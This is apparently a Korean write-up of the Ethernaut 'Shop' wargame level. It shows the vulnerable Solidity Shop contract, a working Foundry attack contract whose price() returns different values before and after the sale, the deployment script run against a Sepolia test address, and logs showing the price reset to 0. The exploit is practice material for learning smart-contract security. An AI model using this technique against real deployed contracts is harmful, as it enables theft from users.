물건을 싸게 사라!!
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Buyer {
function price() external view returns (uint256);
}
contract Shop {
uint256 public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
price를 작은 값으로 세팅하는 것이 목표이다
_buyer.price() 값이 처음에는 price보다 크거나 같아야 하기 때문에 100으로 나오게 하고
_buyer.price() 값이 나중에는 0으로 세팅 되도록 코드를 작성하면 된다.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "../src/Shop.sol";
import {Script, console} from "forge-std/Script.sol";
contract Attack is Buyer {
Shop public shop;
constructor(address _shop) {
shop = Shop(_shop);
}
function price() external view returns (uint256) {
return shop.isSold() ? 0 : 100;
}
function attack() public {
shop.buy();
}
}
contract ShopScript is Script {
address private constant SHOP_ADDRESS = 0xc28A7E3A97c043383e2F1121B263eFF74c920b7a;
function run() public {
vm.startBroadcast();
console.log("before");
console.log("isSold: %s", Shop(SHOP_ADDRESS).isSold());
console.log("buyer price: %d", Shop(SHOP_ADDRESS).price());
Attack attack = new Attack(SHOP_ADDRESS);
attack.attack();
console.log("after");
console.log("isSold: %s", Shop(SHOP_ADDRESS).isSold());
console.log("buyer price: %d", Shop(SHOP_ADDRESS).price());
vm.stopBroadcast();
}
}
forge script script/Shop.s.sol:ShopScript --rpc-url $SEPOLIA_RPC_URL --private-key $PRIVATE_KEY --broadcast
> [...success]
== Logs ==
before
isSold: false
buyer price: 100
after
isSold: true
buyer price: 0